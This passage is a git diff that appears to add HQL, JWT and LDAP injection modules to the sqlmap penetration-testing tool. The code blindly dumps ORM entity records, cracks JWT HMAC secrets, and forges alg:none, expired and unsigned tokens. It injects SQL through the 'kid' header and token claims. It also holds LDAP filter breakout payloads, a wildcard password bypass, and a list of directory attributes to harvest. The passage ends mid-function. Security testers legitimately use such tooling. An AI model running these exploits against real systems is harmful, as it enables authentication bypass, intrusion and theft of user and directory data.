+ mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (idxExpr, mid)): + lo = mid + else: + hi = mid - 1 + chars.append(_CS_LITERAL[lo - 1]) + except InconclusiveError: + # abort this value rather than emit a length/char chosen from an ambiguous bit + logger.warning("HQL extraction aborted for '%s.%s' (oracle inconclusive after retries)" % (entity, attribute)) + return None + + return "".join(chars) + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(getUnicode(row[index]))) + widths.append(width) + + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpEntity(oracle, place, parameter, entity): + """Enumerate an entity's mapped attributes and blindly dump all of its rows.""" + + logger.info("enumerating mapped attributes of entity '%s'" % entity) + fields = _enumFields(oracle, entity) + if not fields: + logger.warning("entity '%s' confirmed but no common attribute resolved; the model may use non-standard names" % entity) + return + + pin = "id" if "id" in fields else fields[0] + columns = list(fields) + + # Walk records in ascending pin order: each row is pinned to the smallest pin + # value strictly greater than the previous one. A numeric pin is required to + # advance the cursor; otherwise only the first (smallest-pin) row is recovered. + rows = [] + after = None + partial = False + for _ in xrange(HQL_MAX_RECORDS): + pinValue = _inferValue(oracle, entity, pin, pin, after) + if pinValue is None: + # None => the NEXT-row pin was INCONCLUSIVE (oracle aborted), NOT "no more rows". Stop, but + # flag the table PARTIAL rather than silently presenting it as the complete set. + partial = True + logger.warning("next-row pin for entity '%s' is inconclusive; the dumped table is PARTIAL" % entity) + break + if not pinValue: # "" => genuine end (no further row) + break + + record = {pin: pinValue} + for field in fields: + if field != pin: + # None => extraction ABORTED for this cell (inconclusive oracle). Mark it visibly so it + # stays distinguishable from a genuine empty value - never silently blank. + cell = _inferValue(oracle, entity, field, pin, after) + record[field] = INCONCLUSIVE_MARK if cell is None else cell + rows.append([record.get(_, "") for _ in fields]) + logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields)) + + if not re.match(r"\A\d+\Z", pinValue): + # a non-numeric pin (e.g. a UUID/string key) cannot advance the ascending cursor, so only + # the first row is recovered - flag the table PARTIAL rather than imply it is complete + if len(rows) == 1: + partial = True + logger.warning("entity '%s' pin '%s' is non-numeric; only the first row is enumerable (table is PARTIAL)" % (entity, pin)) + break + after = pinValue + else: + logger.warning("entity '%s' hit the HQL_MAX_RECORDS (%d) cap; some records may be omitted" % (entity, HQL_MAX_RECORDS)) + partial = True # a truncated cap is NOT a complete dump + + completeness = ", PARTIAL - row enumeration aborted before the end" if partial else "" + conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", completeness, pin, _grid(columns, rows))) + + +def hqlScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--hql' is self-contained: it detects HQL/JPQL (Hibernate ORM) injection " + debugMsg += "and blindly recovers the mapped entity model. SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) do not apply" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = 0 + slots = [] + + for place in (_ for _ in HQL_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing HQL injection on %s parameter '%s'" % (place, parameter)) + + backendHint, _page = _probeError(place, parameter) + if backendHint: + logger.info("%s parameter '%s' reaches an ORM query parser (back-end: '%s')" % (place, parameter, backendHint)) + + template, payload, boundary = _detectBoolean(place, parameter) + if not template: + if backendHint: + logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter)) + continue + + # CRITICAL: HQL compiles TO SQL, so a bare boolean break-out (`' or '1'='1`) is IDENTICAL + # to - and INDISTINGUISHABLE from - classic SQL injection. Claim HQL ONLY with positive + # ORM/Hibernate evidence: either a reflected parser diagnostic (_probeError) OR - when the + # app suppresses diagnostics - the HQL-only confirmation battery (_confirmHql: constructs + # valid in HQL/JPQL but rejected by plain SQL). Without either it is plain SQL injection and + # reporting it as HQL would be a false positive on every SQLi target. + original = _originalValue(place, parameter) + if not backendHint: + if _confirmHql(place, parameter, boundary, original): + backendHint = "Hibernate (HQL/JPQL)" + logger.info("%s parameter '%s' confirmed HQL/JPQL via ORM-only constructs (no error leakage needed)" % (place, parameter)) + else: + logger.info("%s parameter '%s' yields a boolean oracle but shows no ORM/Hibernate evidence - indistinguishable from classic SQL injection; not reporting as HQL (re-run without '--hql' to test for SQLi)" % (place, parameter)) + continue + + backend = backendHint + # Error leakage only helps when the app actually reflects diagnostics + entity = _leakEntity(place, parameter, boundary, original) if backendHint else None + if conf.beep: + beep() + + oracle = _makeOracle(place, parameter, boundary, original) + if oracle is None: + # confirmed HQL, but the extraction true/false models are not reliably separable -> + # report the finding WITHOUT dumping (never fabricate entity/field data) + logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s); " + "extraction disabled (true/false models not reliably separable)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind (extraction unavailable)\n Payload: %s=%s\n---" % (parameter, place, parameter, payload)) + continue + logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) + slots.append(Slot(place=place, parameter=parameter, backend=backend, + entity=entity, oracle=oracle, boundary=boundary, payload=payload)) + + if not slots: + if tested: + logger.warning("no parameter appears to be injectable via HQL injection (%d tested)" % tested) + else: + logger.warning("no parameters found to test for HQL injection") + return + + for slot in slots: + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.payload)) + + # Blind extraction covers as much of the mapped model as reachable: the error-leaked + # entity (if any) plus every common entity the boolean oracle confirms is mapped. + slot = next((_ for _ in slots if _.entity), slots[0]) + + entities = [] + leaked = _shortEntity(slot.entity) + if leaked: + entities.append(leaked) + + logger.info("recovering mapped entities through the boolean oracle") + for entity in _bruteEntities(slot.oracle): + if entity not in entities: + entities.append(entity) + + if not entities: + logger.info("HQL injection confirmed; could not resolve a mapped entity for blind extraction") + logger.info("HQL scan complete") + return + + logger.info("dumping %d reachable entit%s: %s" % (len(entities), "y" if len(entities) == 1 else "ies", ", ".join("'%s'" % _ for _ in entities))) + for entity in entities: + _dumpEntity(slot.oracle, slot.place, slot.parameter, entity) + + logger.info("HQL scan complete") diff --git a/lib/techniques/jwt/__init__.py b/lib/techniques/jwt/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/jwt/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/jwt/inject.py b/lib/techniques/jwt/inject.py new file mode 100644 index 00000000000..df6bdf7041d --- /dev/null +++ b/lib/techniques/jwt/inject.py @@ -0,0 +1,361 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import time + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import paths +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import JWT_COMMON_SECRETS +from lib.core.settings import JWT_MAX_CRACK_WORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.wordlist import Wordlist +from lib.request.connect import Connect as Request +from lib.utils.jwt import auditJWT +from lib.utils.jwt import crackHMAC +from lib.utils.jwt import encodeSegment +from lib.utils.jwt import forgeJWT +from lib.utils.jwt import findJWTs +from lib.utils.jwt import HMAC_ALGORITHMS +from lib.utils.jwt import parseJWT +from lib.utils.nonsql import EXTRACT_MATCH_MARGIN +from lib.utils.nonsql import leansTrue +from lib.utils.nonsql import ratio +from lib.utils.nonsql import sqlErrorPresent +from thirdparty import six + +# improbable literal used to build tamper values / reject calibration; randomized per run so it never +# becomes a static signature a WAF can pin +JWT_SENTINEL = randomStr(length=12, lowercase=True) + +# severity -> sort rank (most severe first) for a tidy final report +_SEVERITY_RANK = {"critical": 0, "high": 1, "medium": 2, "info": 3} + +# internal marker for "the token rides in an arbitrary HTTP header" (no matching PLACE constant; headers +# are carried by conf.httpHeaders and rebuilt via auxHeaders) +_HEADER_PLACE = "HEADER" + +# registered temporal claims are validated as timestamps, never concatenated into SQL - skip them when +# probing for injection (saves requests and trims the false-positive surface) +_SKIP_CLAIMS = frozenset(("exp", "nbf", "iat")) + +# upper bound on the number of claims actively probed, so a hostile/huge token cannot explode the request count +_MAX_PROBE_CLAIMS = 20 + +# resolved location of the token in the outgoing request (set by _locate) +_TOKEN = None +_PLACE = None +_HEADER = None # header name when the token rides in an HTTP header +_HEADER_VALUE = None # that header's original value (to rebuild it with a forged token) + +def _locate(): + """Find the first JSON Web Token carried by the request (parameters first, then HTTP headers) and + record where it lives so probes can rebuild that one component with a forged token.""" + + global _TOKEN, _PLACE, _HEADER, _HEADER_VALUE + + for place in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.COOKIE): + blob = (conf.parameters or {}).get(place) + tokens = findJWTs(blob) if blob else [] + if tokens: + _TOKEN, _PLACE, _HEADER, _HEADER_VALUE = tokens[0], place, None, None + return True + + for name, value in (conf.httpHeaders or []): + tokens = findJWTs(value) + if tokens: + _TOKEN, _PLACE, _HEADER, _HEADER_VALUE = tokens[0], _HEADER_PLACE, name, value + return True + + return False + +def _send(token): + """Issue one request with the located token replaced by 'token', returning the response body (or None + on a transport failure/block, which must never enter the oracle as an empty string).""" + + skipUrlEncode = conf.skipUrlEncode + conf.skipUrlEncode = True + + if conf.delay: + time.sleep(conf.delay) + + try: + kwargs = {"raise404": False, "silent": True} + + if _PLACE == _HEADER_PLACE: + kwargs["auxHeaders"] = {_HEADER: _HEADER_VALUE.replace(_TOKEN, token)} + payload = kwargs["auxHeaders"][_HEADER] + else: + payload = (conf.parameters[_PLACE]).replace(_TOKEN, token) + if _PLACE == PLACE.GET: + kwargs["get"] = payload + elif _PLACE in (PLACE.POST, PLACE.CUSTOM_POST): + kwargs["post"] = payload + elif _PLACE == PLACE.COOKIE: + kwargs["cookie"] = payload + + logger.log(CUSTOM_LOGGING.PAYLOAD, payload) + page = Request.getPage(**kwargs)[0] + except Exception as ex: + logger.debug("JWT probe request failed: %s" % getUnicode(ex)) + return None + finally: + conf.skipUrlEncode = skipUrlEncode + + return page + +def _wordlistSecrets(): + """Yield candidate HMAC secrets for the offline crack: the small common set first (fast wins), then + the shipped wordlist streamed lazily, bounded by JWT_MAX_CRACK_WORDS.""" + + for secret in JWT_COMMON_SECRETS: + yield secret + + count = 0 + try: + for word in Wordlist([paths.WORDLIST]): + yield getUnicode(word) + count += 1 + if count >= JWT_MAX_CRACK_WORDS: + break + except Exception as ex: + logger.debug("JWT wordlist streaming stopped: %s" % getUnicode(ex)) + +def _crackSecret(data): + """Recover an HS* signing secret from the shipped dictionary (a full forgery primitive), else None.""" + + return crackHMAC(data["raw"], _wordlistSecrets(), limit=JWT_MAX_CRACK_WORDS + len(JWT_COMMON_SECRETS)) + +def _corruptSignature(token): + """Same header and claims, deliberately wrong signature - accepted like the original means the server + does not verify the signature at all.""" + + header, payload, signature = token.split('.') + flipped = (signature[:-1] + ("A" if not signature.endswith("A") else "B")) if signature else "AAAA" + return "%s.%s.%s" % (header, payload, flipped) + +def _makeOracle(): + """Calibrate an acceptance oracle from the original (authenticated) response vs a structurally-broken + token (rejected by any consumer). Returns accepted(page)->bool, or None when the authenticated page is + too dynamic to use, or the endpoint does not distinguish a valid token from a broken one. + + A forgery is 'accepted' when its response leans to the authenticated model over the rejected one (shared + tri-state margin logic - tolerates the baseline's natural jitter, e.g. a rotating CSRF token/timestamp, + which a hard identical-page gate would misread as a rejection).""" + + baseline = _send(_TOKEN) + baseline2 = _send(_TOKEN) + reject = _send("%s.%s.%s" % (JWT_SENTINEL, JWT_SENTINEL, JWT_SENTINEL)) + + if None in (baseline, baseline2, reject): + return None + if ratio(baseline, baseline2) < UPPER_RATIO_BOUND: + return None # authenticated page too dynamic to be a reliable oracle + if ratio(baseline, reject) >= UPPER_RATIO_BOUND: + return None # endpoint can't tell a valid token from a broken one + + return lambda page: page is not None and leansTrue(page, baseline, reject) + +def _errorBased(mutate, breaker): + """A SQL error must surface with the syntax-breaking payload but NOT with the neutral control - so a page + that merely contains SQL-error text (a doc/debug banner) cannot masquerade as an injection.""" + + control = _send(mutate(JWT_SENTINEL)) + broken = _send(mutate(breaker)) + return control is not None and broken is not None and sqlErrorPresent(broken) and not sqlErrorPresent(control) + +def _booleanConfirmed(mutate, ref, good, bad): + """Confirmed boolean divergence with jitter guards: the endpoint must be stable for the neutral 'ref' (a + re-fetch matches), the syntactically-valid 'good' mutation must match that control while the query-breaking + 'bad' mutation diverges - and the divergence must reproduce on a re-send (so a one-off dynamic response is + not read as a vulnerability).""" + + base = _send(mutate(ref)) + base2 = _send(mutate(ref)) + if None in (base, base2): + return False + + # the page's natural noise floor: two identical neutral requests. If even that is below the similarity + # bound the page is too dynamic to judge; otherwise the 'bad' mutation only counts as a real divergence + # when it drops the similarity MEANINGFULLY BELOW that floor (more than mere per-request jitter) + jitter = ratio(base, base2) + if jitter < UPPER_RATIO_BOUND: + return False + threshold = jitter - EXTRACT_MATCH_MARGIN + + goodPage = _send(mutate(good)) + badPage = _send(mutate(bad)) + badPage2 = _send(mutate(bad)) + if None in (goodPage, badPage, badPage2): + return False + + return (ratio(base, goodPage) >= threshold + and ratio(base, badPage) <= threshold + and ratio(base, badPage2) <= threshold) + +def _probeStringInjection(mutate): + """SQL-injection probe for a string component (kid or a string claim) via single-quote breakage: a lone + quote breaks the query while the balanced pair restores it.""" + + s = JWT_SENTINEL + if _errorBased(mutate, "%s'%s" % (s, s)): + return ("error-based SQL injection", "critical") + if _booleanConfirmed(mutate, s, "%s''%s" % (s, s), "%s'%s" % (s, s)): + return ("boolean-based SQL injection", "high") + return None + +def _probeNumericInjection(mutate, value): + """SQL-injection probe for a numeric claim: a quote still errors a string-concatenated number, and an + 'AND n=n' / 'AND n=n+1' pair distinguishes a true from a false condition in a numeric (unquoted) context.""" + + n = 1000 + len(JWT_SENTINEL) + if _errorBased(mutate, "%s'" % value): + return ("error-based SQL injection", "critical") + if _booleanConfirmed(mutate, str(value), "%s AND %d=%d" % (value, n, n), "%s AND %d=%d" % (value, n, n + 1)): + return ("boolean-based SQL injection", "high") + return None + +def jwtScan(): + """Audit the JSON Web Token carried by the request: report offline weaknesses (alg:none, guessable + HMAC secret, unsafe key headers, missing expiry), confirm which forgeries the server actually accepts + (signature-not-verified / alg:none / expired), and probe the 'kid' header and claims for SQL injection. + Self-contained - SQL enumeration switches (--banner/--dbs/--tables/...) do not apply.""" + + if not _locate(): + logger.warning("no JSON Web Token found in the request (looked in GET/POST/cookie parameters and HTTP headers)") + return + + data = parseJWT(_TOKEN) + header = data["header"] + payload = data["payload"] + where = ("'%s' header" % _HEADER) if _PLACE == _HEADER_PLACE else ("%s parameter" % _PLACE) + logger.info("found a JSON Web Token in the %s (algorithm '%s')" % (where, header.get("alg"))) + + findings = [] # (id, severity, summary, detail, confirmed) + + # offline findings that are inherently speculative (not proven by reading the token or an active probe): + # an asymmetric alg is only a confusion CANDIDATE, and a bare 'kid' is only a candidate injection point + OFFLINE_CANDIDATES = ("alg-confusion", "kid-injection") + + # 1. offline heuristic battery (structural), then a single wordlist pass for the HMAC secret + for fid, severity, summary, detail in auditJWT(_TOKEN): + findings.append((fid, severity, summary, detail, fid not in OFFLINE_CANDIDATES)) + + secret = None + if (header.get("alg") or "").upper() in HMAC_ALGORITHMS: + logger.info("attempting to recover the HMAC signing secret from the wordlist") + secret = _crackSecret(data) + if secret is not None: + findings.append(("weak-hmac-secret", "critical", "HMAC secret recovered ('%s')" % secret, "arbitrary tokens can be forged and re-signed", True)) + + algNoneAccepted = False + + # 2. active oracle: which forgeries does the server actually accept? + oracle = _makeOracle() + if oracle is None: + logger.warning("the endpoint does not distinguish a valid token from a broken one - cannot actively confirm forgeries (offline findings still apply)") + else: + # signature not verified: same claims, wrong signature (skip when the token is already unsigned - the + # 'alg:none' finding below covers that, and signing an unsigned token proves nothing) + if (header.get("alg") or "").lower() != "none" and data["signature"] and oracle(_send(_corruptSignature(_TOKEN))): + findings.append(("signature-not-verified", "critical", "server accepts a token with an invalid signature", "any claim can be forged without a key", True)) + + # alg:none accepted: strip the signature entirely, keep the claims + try: + noneToken = forgeJWT(dict(header, alg="none"), payload) + if oracle(_send(noneToken)): + algNoneAccepted = True + findings.append(("alg-none-accepted", "critical", "server accepts an unsigned ('alg':'none') token", "any claim can be forged without a key", True)) + except ValueError: + pass + + # expired token accepted: only meaningful once we can re-sign (cracked secret or alg:none) + if isinstance(payload, dict) and "exp" in payload and (secret or algNoneAccepted): + forged = dict(payload, exp=1) # 1970 - unmistakably expired + expToken = forgeJWT(header, forged, key=secret) if secret else forgeJWT(dict(header, alg="none"), forged) + if oracle(_send(expToken)): + findings.append(("expired-accepted", "high", "server accepts an expired token", "expiry ('exp') is not enforced - stolen tokens never lapse", True)) + + # a re-signing primitive (recovered secret, else an accepted alg:none) keeps a tampered token valid so + # its mutated component actually reaches the back-end + if secret: + signer = lambda hdr, pl: forgeJWT(hdr, pl, key=secret) + elif algNoneAccepted: + signer = lambda hdr, pl: forgeJWT(dict(hdr, alg="none"), pl) + else: + signer = None + + # 3. 'kid' header injection: with a primitive, tamper 'kid' in a validly (re)signed token; without one, + # keep the original signature (this only reaches the sink when 'kid' is resolved before verification) + if "kid" in header: + kidMutate = (lambda value: signer(dict(header, kid=value), payload)) if signer else (lambda value: _reheader(_TOKEN, "kid", value)) + result = _probeStringInjection(kidMutate) + if result: + findings.append(("kid-injection-confirmed", result[1], "'kid' header is vulnerable to %s" % result[0], "the key identifier reaches a back-end query", True)) + + # 4. claim injection (needs a re-signing primitive so the tampered token is accepted and reaches the sink); + # string claims are probed with quote breakage, numeric claims in an unquoted 'AND n=n' context + if isinstance(payload, dict) and signer: + probed = 0 + for name in list(payload): + if probed >= _MAX_PROBE_CLAIMS: + break + value = payload[name] + mutate = lambda newValue, name=name: signer(header, dict(payload, **{name: newValue})) + if name in _SKIP_CLAIMS or isinstance(value, bool): # temporal claim, or bool (int subclass, never a value context) + continue + elif isinstance(value, six.string_types): + result = _probeStringInjection(mutate) + elif isinstance(value, (int, float)): + result = _probeNumericInjection(mutate, value) + else: + continue + probed += 1 + if result: + findings.append(("claim-injection-confirmed", result[1], "claim '%s' is vulnerable to %s" % (name, result[0]), "the claim value reaches a back-end query", True)) + + _report(_dedupe(findings)) + + return findings + +def _reheader(token, field, value): + """Rebuild 'token' with header field set to 'value', keeping the original claims and signature (used to + probe a header, e.g. 'kid', that the server resolves before checking the signature).""" + + _, claims, signature = token.split('.') + return "%s.%s.%s" % (encodeSegment(dict(parseJWT(token)["header"], **{field: value})), claims, signature) + +def _dedupe(findings): + """Drop the speculative 'kid-injection' candidate once the active probe has confirmed 'kid' SQL injection, + so the same header is not reported twice (once as candidate, once as confirmed).""" + + if any(_[0] == "kid-injection-confirmed" for _ in findings): + findings = [_ for _ in findings if _[0] != "kid-injection"] + return findings + +def _report(findings): + """Emit findings most-severe first, then a one-line self-contained note. Info-severity findings are logged + at INFO (a bare 'kid' / asymmetric-alg candidate is not a warning); actual weaknesses at WARNING.""" + + if not findings: + logger.info("no JWT weaknesses found") + return + + for fid, severity, summary, detail, confirmed in sorted(findings, key=lambda _: _SEVERITY_RANK.get(_[1], 9)): + marker = "confirmed" if confirmed else "candidate" + message = "JWT %s [%s]: %s (%s)" % (marker, severity, summary, detail) + (logger.info if severity == "info" else logger.warning)(message) + + if conf.beep: + beep() + + logger.info("JWT audit is self-contained; SQL enumeration switches (e.g. --banner, --dbs, --tables) do not apply here") diff --git a/lib/techniques/ldap/__init__.py b/lib/techniques/ldap/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/ldap/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/ldap/inject.py b/lib/techniques/ldap/inject.py new file mode 100644 index 00000000000..126b0c5f4cb --- /dev/null +++ b/lib/techniques/ldap/inject.py @@ -0,0 +1,858 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import resolveBit +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive +from lib.core.settings import LDAP_CHAR_MAX +from lib.core.settings import LDAP_CHAR_MIN +from lib.core.settings import LDAP_ERROR_REGEX +from lib.core.settings import LDAP_ERROR_SIGNATURES +from lib.core.settings import LDAP_FINGERPRINT_ATTRIBUTES +from lib.core.settings import LDAP_MAX_LENGTH +from lib.core.settings import LDAP_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + + +SENTINEL = randomStr(length=10, lowercase=True) + + +# _send() below currently knows how to rebuild GET and POST-style parameter +# strings. Cookie and URI delivery require separate per-place logic and should not +# be advertised until implemented. +LDAP_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Breakouts are tried against the original application filter template. The +# generated assertion fragments intentionally stay open-ended: the vulnerable +# application usually appends the closing ')' or trailing substring '*') itself. +LDAP_BREAKOUT_PREFIXES = ( + "*)", # substring + one assertion: (attr=*<input>*) + ")", # exact-match one assertion: (attr=<input>) + "|", # injection at filter-list head + "*))(", # substring + two assertions deep + "*)))", # substring + three assertions deep + ")))", # exact-match three assertions deep +) + +LDAP_TAUTOLOGY_ATTRIBUTES = ( + "objectClass", + "uid", + "cn", +) + +ENTRY_KEY_ATTRIBUTES = ( + "uid", + "sAMAccountName", + "userPrincipalName", + "mail", + "cn", +) + +DUMP_ATTRIBUTES = ( + "uid", + "cn", + "sn", + "givenName", + "displayName", + "mail", + "sAMAccountName", + "userPrincipalName", + "title", + "department", + "company", + "o", + "ou", + "telephoneNumber", + "mobile", + "manager", + "description", + "l", + "st", + "street", + "postalCode", + "c", + "co", + "employeeID", + "employeeNumber", + "employeeType", + "objectClass", + "objectCategory", +) + +MULTI_VALUE_ATTRIBUTES = ( + "member", + "memberOf", + "uniqueMember", +) + +Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template", "payload", "breakout", "bypass")) +Slot.__new__.__defaults__ = (None, None, None, None, None, None, None, None) + + + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + skipUrlEncode = conf.skipUrlEncode + conf.skipUrlEncode = True + + if conf.delay: + time.sleep(conf.delay) + + try: + kwargs = {"raise404": False, "silent": True} + payload = _replaceSegment(place, parameter, value) + kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload + + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, payload) + page, _, code = Request.getPage(**kwargs) + # a transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is not a usable + # oracle sample - signal None so `_boolean`/`extract` (which reject None) can't decide on it + if blockedStatus(code): + return None + return page or "" + except Exception as ex: + logger.debug("LDAP probe request failed: %s" % getUnicode(ex)) + return None + finally: + conf.skipUrlEncode = skipUrlEncode + + +def _isError(page): + # an LDAP error body OR a recognized SQL/DBMS error marks a response as NOT a valid boolean + # template. The SQL/DBMS check (reusing sqlmap's errors.xml via htmlParser + the generic + # `SQL (warning|error|syntax)` marker) is essential: an LDAP filter break-out like `1)(uid=*` + # trips a DBMS SYNTAX ERROR on a SQL-injectable parameter, and that error page merely differs + # from a normal page - which would otherwise fake a boolean oracle and misreport SQLi as LDAP. + page = getUnicode(page or "") + return bool(re.search(LDAP_ERROR_REGEX, page)) or sqlErrorPresent(page) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in LDAP_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + # ONLY a genuine LDAP error names a (generic) LDAP back-end - never a SQL/DBMS error (which + # _isError() also flags, so it can reject a faked oracle, but which must NOT be attributed to LDAP) + return "Generic LDAP" if re.search(LDAP_ERROR_REGEX, page) else None + + +def _probeBackendByParserError(place, parameter): + """Probe for LDAP filter parser errors to obtain a backend hint. + This is NOT authoritative vulnerability detection -- only a boolean + oracle (from _detectBoolean) confirms exploitable injection.""" + + original = _originalValue(place, parameter) or "x" + normal = _send(place, parameter, original) + + # Use LDAP filter syntax breakers, not apostrophes. Apostrophes are not LDAP + # filter metacharacters and only detect broken LDAP emulators backed by SQL. + for suffix in (")", "*)"): + payload = original + suffix + broken = _send(place, parameter, payload) + + if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, payload + + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge.""" + + truePage = truthy() + if not truePage or _isError(truePage): + return None + + falsePage = falsy() + if not falsePage or _isError(falsePage): + return None + + truePage2 = truthy() + if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND: # the TRUE side must independently reproduce + return None + if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: # the FALSE side must independently reproduce too + return None + + # honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity + if userOracleActive(): + return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: # ... and true must differ from false + return truePage + + return None + + +def _detectBoolean(place, parameter): + """Return (template, payload, breakout) for boolean-blind LDAPi.""" + + original = _originalValue(place, parameter) or "" + + for breakout in LDAP_BREAKOUT_PREFIXES: + for attr in LDAP_TAUTOLOGY_ATTRIBUTES: + # MATCHED controls: true and false share the SAME breakout, the SAME attribute and the + # SAME open-fragment shape - only the assertion's truth changes. `(attr=*` matches every + # directory entry; `(attr=<sentinel>` matches none. A diverging pair proves the value is + # parsed as an LDAP FILTER (the `)(...` escaped the surrounding filter), which a plain + # string search cannot reproduce. The old false control was a bare `original+SENTINEL` + # (an UNMATCHED ordinary string), so a validation layer or wildcard search could diverge + # for reasons unrelated to filter injection - a false positive. + truePayload = "%s%s(%s=*" % (original, breakout, attr) + falsePayload = "%s%s(%s=%s" % (original, breakout, attr, SENTINEL) + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + if template: + return template, truePayload, breakout + + # NOTE: no bare `*`-vs-sentinel fallback. A wildcard returning more records is normal search + # behavior, not proof of an LDAP filter-boundary escape, and carries no breakout for extraction. + + return None, None, None + + +def _isPasswordParam(parameter): + parameter = getUnicode(parameter or "").lower() + return any(_ in parameter for _ in ("pass", "pwd", "secret", "pin", "cred", "key", "token", "auth")) + + +def _detectAuthBypass(place, parameter): + if not _isPasswordParam(parameter): + return None + + starPage = _send(place, parameter, "*") + sentinelPage = _send(place, parameter, SENTINEL) + + if starPage and sentinelPage and _ratio(starPage, sentinelPage) < UPPER_RATIO_BOUND: + return "*" + + return None + + +def _fingerprintByError(backend): + if not backend: + return None + if "Active Directory" in backend: + return "Microsoft Active Directory" + if "OpenLDAP" in backend: + return "OpenLDAP" + if "ApacheDS" in backend: + return "ApacheDS" + if "Oracle" in backend: + return "Oracle Directory Server" + if "389" in backend: + return "389 Directory Server" + if "python-ldap" in backend or "Java JNDI" in backend: + return backend + return backend + + +def _transportEncode(value): + """ + Encode only transport-sensitive characters because _send() disables sqlmap's + regular URL encoding. LDAP filter syntax should remain raw; assertion values + should be passed through _ldapLiteral() first. + """ + + value = getUnicode(value) + value = value.replace("%", "%25") + value = value.replace("#", "%23") + 